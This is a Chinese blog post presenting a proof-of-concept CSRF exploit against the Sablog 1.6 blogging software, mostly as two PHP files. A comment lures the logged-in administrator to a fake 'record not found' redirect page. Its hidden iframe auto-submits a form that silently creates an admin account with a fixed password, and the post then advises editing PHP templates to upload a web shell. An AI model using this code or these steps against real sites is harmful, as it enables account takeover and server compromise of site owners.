sablog1.6 的 CSRF 漏洞 POC

by：空虚浪子心

这个在我的 blog 中测试成功，官方下载的最新版本测试成功，但是在小泽的 blog 失败的。原因是他自己修改了源程序，判断了 referer。

POC：

1. 评论时，网站地址输入：http://www.inbreak.net/blog
2. 然后内容是：你好，可以给我做个链接么？

管理员后台登陆后，如果点了你的主页，就会在他的后台添加一个账户。
Hackedbykxlzx
然后你可以利用这个账户登录，修改模版，可以编辑 PHP 文件，搞个 shell 上去。管理员点了主页，看到一个页面，说地址错误，跳转中。
2 个重要文件，第一个是
http://www.inbreak.net/blog/index.php
很具有迷惑性吧？管理员首先看到这个。
这里有个 iframe,指向第二个是
http://www.inbreak.net/kxlzxtest/testxss/sablog.php
这里提交添加用户。
当管理员访问的时候，就偷偷添加了用户。


```
================================================================
<?php
/*
      blog/index.php
*/
$website = $_SERVER['HTTP_REFERER'];
if(strlen($website)==0)
{
  $website="http://amxku.net/admin/admincp.php?job=";
}
//$website = "http://www.sohu.com/blog/admin/aaa/a.php";
$str = strrpos($website,"?job=comment");
$website = substr($website,0,$str );

echo"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">"
   . "<html xmlns=\"http://www.w3.org/1999/xhtml\">"
   . "<head>"
   . "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />"
   . "<meta http-equiv=\"Content-Language\" content=\"UTF-8\" />"
   . "<meta http-equiv=\"Pragma\" content=\"no-cache\" />"
```

```
   . "<meta name=\"copyright\" content=\"SaBlog\" />"
   . "<meta name=\"author\" content=\"angel,4ngel\" />"
   . "<link rel=\"stylesheet\" href=\"/templates/default/style.css\" type=\"text/css\" media=\"all\"    />"
   . "<meta http-equiv=\"REFRESH\" content=\"3;URL=/\">"
   . "<title>系统消息  Powered by Sablog-X</title>"
   . "</head>"
   . "<body>"
   . "<div id=\"message\">"
   . " <h2>amxku's blog</h2>"
   . " <p style=\"margin-bottom:20px;\"><strong>记录不存在</strong></p>"
   . "    <p>3  秒后将自动跳转<br  /><a  href=\"/\">如果不想等待或浏览器没有自动跳转请点击这里跳转
</a></p>"
   . "<iframe src=\"/sablog.php?url=".$website."\" width=0 height=0/>"
   . "</div>"
   . "</body>"
   . "</html>";
?>

==========================================================================
<?php
/*
      sablog.php
      send to admincp.php
*/
$url=$_GET["url"];
if (strlen($url)==0)
{
  $url="";
}
$website = $url;
$website=strtolower($website);
$website=substr($website,7);
$website=substr($website,0,strpos($website,'/'));
$fp = fopen("sa_".$website.".txt","wb");
fwrite($fp,$url);
fclose($fp);
echo $website;
echo "<html>"
   . "<head>"
   . "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />"
   . "<meta http-equiv=\"Content-Language\" content=\"UTF-8\" />"
   . "</head>"
   . "<body>"
   . "<form id=\"kxlzx\" action=\"".$url."?job=user\" method=\"POST\">"
```

```
    . "<input type=\"hidden\" name=\"username\" size=\"35\" value=\"hackedbykxlzx\">"
    . "<input type=\"hidden\" name=\"newpassword\" size=\"35\" value=\"hahahaha\">"
    . "<input type=\"hidden\" name=\"comfirpassword\" size=\"35\" value=\"hahahaha\" >"
    . "<input type=\"hidden\" name=\"groupid\" value=\"1\">"
    . "<input type=\"hidden\" name=\"url\" size=\"35\" value=\"\" >"
    . "<input type=\"hidden\" name=\"userid\" value=\"\">"
    . "<input type=\"hidden\" name=\"action\" value=\"adduser\">"
    . "</form>"
    . "<script>"
    . "document.getElementById('kxlzx').submit();"
    . "</script>"
    . "</body>"
    . "</html>"
  ."";
?>
```